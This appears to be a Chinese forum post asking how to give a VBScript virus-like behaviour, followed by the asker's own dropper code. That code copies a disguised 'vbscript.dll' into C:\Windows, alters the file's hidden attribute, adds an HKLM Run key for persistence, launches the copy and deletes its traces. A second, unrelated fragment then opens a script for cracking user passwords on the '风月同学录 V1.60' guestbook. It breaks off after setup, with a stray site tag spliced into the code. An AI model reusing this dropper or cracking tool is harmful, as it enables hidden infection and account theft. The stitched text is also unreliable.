如何让一个vbs脚本具有病毒的特性，比如说：复制，注入到进程中等等。

我有个代码：

a=wscript.scriptfullname
set b=wscript.createobject("scripting.filesystemobject")
b.GetParentFolderName(a)
c=b.GetParentFolderName(a)
'调用自身路径

Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.FileExists(""&c&"\vbscript.dll") Then
'检查文件是否存在

wscript.sleep 100
set e=wscript.createobject("scripting.filesystemobject")
e.copyfile ""&c&"\vbscript.dll","c:\windows\zff.vbs"
wscript.sleep 100
'拷贝到C盘
Set g= CreateObject("Scripting.FileSystemObject")
Set h =g.GetFile("c:\windows\zff.vbs")
If h.Attributes =h.Attributes AND 2 Then
h.Attributes =h.Attributes XOR 2
'属性改为隐藏
End If
Set oShell=CreateObject("Wscript.Shell")
oShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\zff","c:\windows\zff.vbs"
wscript.sleep 100
'添加开机启动项
set ws=createobject("wscript.shell")
ws.run "c:\windows\zff.vbs"
‘运行程序
set i=wscript.createobject("scripting.filesystemobject")
i.deletefile ""&c&"\vbscript.dll"
wscript.sleep 100
i.deletefile ""&c&"\vbscript.exe"
'删除
msgbox "启动成功!"
else
end if

*********************************************
’风月同学录V1.60漏洞测试脚本 by luoluo
’注意:需要装Visual Studio.Net里的ACT工具
’*********************************************

’**********************************优化了下,效率要高些
Option Explicit
On Error Resume Next

Dim Test
Dim o_Response
中国_网管联盟

Dim Wrong
Dim i,j,k
Dim pwd_len
Dim pwd
Dim strings
Dim username

’从命令行得到要破解的人的用户名
If WScript.Arguments.Count > 0 Then
username = WScript.Arguments(0)
Else
username = "luoluo"
End If

WScript.Echo "开始探测,请等待... ..."

’正确页面的标志,这个随便找的,因为只要是两个页面返回的不同部分就可以了
Wrong = "luoluoisachinesehacker"
’存放密码
pwd = ""